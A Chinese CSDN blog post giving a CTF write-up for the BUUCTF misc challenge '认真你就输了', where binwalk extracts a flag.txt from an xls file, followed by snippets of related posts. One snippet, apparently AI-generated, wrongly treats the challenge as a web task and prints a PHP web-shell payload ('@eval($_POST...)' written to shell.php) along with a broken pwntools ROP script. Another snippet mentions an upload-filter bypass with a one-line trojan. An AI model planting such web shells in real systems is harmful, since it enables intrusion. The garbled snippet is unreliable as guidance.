Buuctf 认真你就输了

最新推荐文章于 2025-10-16 08:07:54 发布
原创 最新推荐文章于 2025-10-16 08:07:54 发布 · 356 阅读 · 0 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#安全

博客内容涉及了一次文件解密的过程，作者在xls文件中发现了隐藏的flag.txt文件。通过使用UltraEdit和binwalk工具，成功分离并找到了藏在xl文件夹chars文件夹内的flag.txt，从而获取了关键的flag信息：flag{M9eVfi2Pcs#}

下载该文件，发现该文件为一个xls文件

通过excel打开该文件，发现该文件打开后为乱码

利用UltraEdit去查看该文件，发现该文件藏flag.txt文件

利用kail中的binwalk去分离该文件

binwalk -e 10.xls

分离后发现里面藏有很多文件

 

 最终在xl文件夹里的chars文件夹找到flag.txt文件

打开该flag.txt文件，获取到该题的flag

 

flag{M9eVfi2Pcs#}

Buuctf misc 面具下的flag
Dexret的博客
11-15 691
下载文件，得到一张命名为mianju.jpg的照片 利用UltraEdit(16进制编辑器)打开该图片 发现里面存在一个flag.vmdk文件 利用kail中的binwalk对该图片进行分离 发现里面存在若干个文件 打开key_part_one的NUL和key_part_one的where_is_flag_part_two.txt:flag_part_two_is_here.txt文件 利用在线解码工具对其进行解码 Brainfuck/Ook! Obfuscation/..
BUUCTF-Web-[MRCTF2020]你传你马呢
m0_61851859的博客
04-03 1105
3.考虑是不是对php进行过滤，尝试黑名单绕过，将文件后缀修改为.phtml等一些后缀名发现上传失败。4.将文件类型修改为.jpg类型尝试上传并启用burpsuite抓包发现是可以成功上传的。一个.htaccess文件去把.jpg解析成.php。把content-type改成image/jpeg。1.打开题目发现文件上传位置，猜测为文件上传漏洞。7.拼接url使用蚁剑连接，成功找到flag。2.尝试上传一句话木马，上传失败。
BUUCTF misc 专题（36）认真你就输了
tt_npc的博客
02-27 1391
下载解压以后是一个xls文件，把它拉入winhex查看 发现里面有压缩很多东西，于是修改后缀，改成压缩包形式 打开以后 到处翻找看看，就发现了有一个flag文件 打开以后就发现flag flag{M9eVfi2Pcs#} ...
BUUCTF Misc 认真你就输了
Leslie_LIL的博客
03-06 701
题目如下： 啥也没有，binwalk一下试试，很多东西 提取 正如题目所说，认真你就输了
BUUCTF-[BJDCTF2020]认真你就输了1
最新发布
2502_90869383的博客
10-16 343
看题目认真了你就输了，所以这题是简单的。
BUUCTF-Misc-认真你就输了
m0_51399090的博客
05-20 1201
1.先解压,得到一个xls文件 2.binwalk一下,发现里面有zip 3.所以就binwalk -e 10.xls一下,得到一个文件夹 4.打开文件夹xl-charts–falg.txt,打开即得到flag 得到的flag为:flag{M9eVfi2Pcs#}
buuctf-misc-31.认真你就输了1
weixin_49765221的博客
05-05 610
表格分解后文件内容含有flag
BUUCTF详细解析，你竟然赶我走、乌镇峰会种图、你竟然赶我走、大白、（超级详细）“小白”入坑CTF，先入手杂项部分
04-09
BUUCTF详细解析，你竟然赶我走、乌镇峰会种图、你竟然赶我走、大白、（超级详细）“小白”入坑CTF，先入手杂项部分，
BUUCTF题目（含工具），你竟然赶我走、乌镇峰会种图、你竟然赶我走、大白、（超级详细）“小白”入坑CTF，先入手杂项部分
04-09
BUUCTF题目（含工具），你竟然赶我走、乌镇峰会种图、你竟然赶我走、大白、（超级详细）“小白”入坑CTF，先入手杂项部分
BUUCTF——Crypto（1-5）
fortune_cookie的博客
06-05 566
1. 一眼就解密 2.MD5 3.Url编码 4.看我回旋踢 5.摩丝
BUUCTF
Q221022的博客
02-12 1443
1.old-fashion 直接用quiqiup解密即可得到flag 2.世上无难事 看到答案是32位，我就想到了MD5，然后用MD5解密，不对，不是MD5，所以就用quipqiup试试，key就出来了 3.RSA3 题上有两组c和e，只有一个n，（所以猜测这两组应该用的是同一个n）将n分解成p和q（不知道为什么，我用了三个网站都没分解出来，是因为数字太大吗？）然后，就可以求出私钥d，进而解密出m ，得到答案 4.RSA2 dp=d mod （p-1） 我认为..
buuctf [BJDCTF2020]认真你就输了
个人做题记录，大佬勿喷
12-25 537
binwalk -e 10.xls(我是将文件直接放在了kali桌面上，所以直接用这个命令)看图片可以发现flag.txt在这个文件夹下面，点开即可获得flag。提示在图表底下，但是我怎么也删不掉，后面上网搜了一下。下载题目附件得到一个excel文件点开。cd Desktop(进入桌面)原来是用binwalk。
BUUCTF [BJDCTF2020]认真你就输了 1
YueXuan_521的博客
11-17 2832
BUUCTF [BJDCTF2020]认真你就输了 1 看了别人的题解，才知道原来flag就在xl文件夹下，只需要进入xl文件夹，在进入charts文件夹，就可以看到flag.txt文件。果然是“认真你就输了”！在010 Editor中打开10.xls文件，发现PK文件头，猜测为zip压缩包。2、将10.xls文件的后缀名改为.zip，修改后解压，得到很多文件夹。1、双击文件，提示“10.xls”的文件格式和扩展名不匹配。打开flag.txt文件，得到flag。下载附件，解压得到一个.xls文件。
BUUCTF-MISC 认真你就输了 1
2301_77970796的博客
04-23 330
通过翻找各个目录，发现flag就在xl文件夹下，只需要进入xl文件夹，在进入charts文件夹，就可以找到flag.txt文件。在010 Editor中打开10.xls文件，发现504B0304文件头，猜测可能为zip压缩包。3.将10.xls文件的后缀名改为.zip，修改后解压，得到很多。4.打开flag.txt,得到flag。2.双击文件，发现“10.xls”的。1.解压得到一个xls文件。
BUUCTF-MISC-[BJDCTF2020]认真你就输了
xiaozhangqian的博客
10-18 526
刷题第一次遇见表格的隐写，坐下来虽然不难，但是值得纪念 下载下来，看别人的思路是用binwalk root@kali:~/Desktop# binwalk /root/Desktop/10.xls root@kali:~/Desktop# binwalk -e /root/Desktop/10.xls 得到了一个新的文件夹 打开xl 打开charts,找到一个flag.txt，哦可，复制粘贴 成功啦~ 但是还是有疑惑的，为什么看的一个师傅用的binwalk查看文件，之后分离用的foremo
BUUCTF，认真你就输了、藏藏藏、佛系青年详解
2401_87102260的博客
01-08 659
题目对应BUUCTF的misc
buuoj BJDCTF2020 认真你就输了
pondzhang的专栏
04-09 697
直接使用notpad打开，发现有关键字PK和xl/charts/flag.txt，初步判断为word文档隐写。word文档结构为压缩包，直接使用7z打开压缩包。根据提示在xl\charts\路径下可以找到flag.txt文档。 ...
CTF-实验吧-认真你就输了
kongcz的专栏
08-03 2097
题目： 在表格里？在表格里！ 格式:CTF{**} 解题链接：http://ctf5.shiyanbar.com/stega/excel_data.xlsx 解题思路： 下载下来的文件打开提示文件已损坏，用自带的修复也没修复出个鬼来。果断放弃换一条路 习惯性用notepad++打开该文件，头部发现类似flag的东西 按照题目的flag规则提交，提示提交成功23333333 ...
BUU-偶尔的刷题-[BJDCTF2020]认真你就输了
没有任何buff的小菜鸡的博客
12-11 609
大早上随便打一题吧，最近misc没怎么打出来，只能随便刷刷题了 [BJDCTF2020]认真你就输了 下载文件，是个压缩包，解压缩之后，发现里面是个xls文档 emm 打开xls文档也没发现有什么特别的地方 但是有描述哦，还是有用的 移动插图试试，发现不行 还有一种提示的哦 因为xls特殊性质，也可以拿压缩包打开进行查看里面的数据 找到有charts的文件夹，进入即可看到flag.txt emmmm 考点 就是考察了xls的文件特性 做完之后还去看了其他师傅们的解法，基本上都是用binwalk进行解的，
buuctf-[BJDCTF2020]认真你就输
03-31
### 关于BUUCTF BJDCTF2020 “认真你就输”的解题思路 #### 赛事背景与题目概述 在BJDCTF 2020赛事中，“认真你就输”是一道典型的Web安全挑战题。这类题目通常涉及常见的漏洞利用技术，例如文件上传绕过、反序列化攻击以及命令注入等[^1]。 #### 文件上传与反序列化的结合 根据已知的参考资料，可以推测该题目可能涉及到图片马（PHP反序列化利用）。通过构造恶意的文件名或者文件内容，选手可以在服务器端触发特定的安全机制漏洞并最终获取Shell访问权限[^2]。具体来说： - **图片马**：这是一种将恶意代码嵌入到看似正常的图像文件中的方法。由于许多应用允许用户上传头像或其他类型的媒体文件，因此这种技巧非常有效。 - **PHP反序列化**：当应用程序接受来自用户的序列化数据并将它们存储或传递给其他组件时，如果这些数据被篡改为包含有害指令，则可能导致远程代码执行等问题发生。 以下是基于上述理论的一个简单示例脚本用于演示如何创建一个基本的“图片木马”，请注意这仅作为学习用途展示概念而非实际操作指南： ```php <?php class Exploit { public $cmd; function __construct($command){ $this->cmd=$command; } } $payload = new Exploit('echo "<?php @eval(\$_POST[\'password\']);?>"> /var/www/html/shell.php'); file_put_contents("exploit.png", serialize($payload)); ?> ``` 此代码片段定义了一个名为`Exploit`的对象类，并设置其属性为要执行的一条Linux Shell命令字符串；接着实例化此类对象的同时传入相应的参数值完成初始化过程；最后把整个对象保存成PNG格式文件以便后续提交至目标站点进行测试验证工作。 #### 利用ROP链突破防护措施 对于某些情况下存在额外保护层的情况(比如堆栈溢出)，可以通过构建Return-Oriented Programming (ROP)链条来规避检测进而达成目的。这里提到三种主要解决方案之一便是按照既定流程依次向堆栈推入所需参数直至满足条件跳转回指定位置继续运行剩余部分逻辑[^3]。 另外一种常见手法则是借助动态链接库(DLLs)/共享对象(SOs)内的现有功能重新配置受影响区域内存页表项标志位从而赋予相应范围读/写/执权能以加载自定义编写好的shellcode片段加以控制接管进程上下文环境达到预期成果表现形式如下所示: 假设我们已经成功泄露libc基址,那么就可以计算得到system函数偏移量以及"/bin/sh"字符串所在地址. ```python from pwn import * p=remote('challenge-address',port_number) offset_system=u64(leak_libc_base_addr)+known_offset_to_system_function arg_bin_sh=u64(leak_libc_base_addr)+known_offset_to_string_binsh rop=pwndbg.rop.Rop() rop.raw(offset_system) rop.raw(arg_bin_sh) payload=b'A'*buffer_size+rop.chain() p.sendline(payload) p.interactive() ``` 以上Python脚本展示了如何连接远程服务发送精心设计的数据包触发缓冲区越界错误暴露底层操作系统接口调用实现交互式终端会话建立全过程. #### 实际Payload的应用场景说明 最后参照给出的例子得知只需往URL查询参数附加特殊构造的内容就能轻易拿下flag得分结束比赛环节[^4]. ---
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值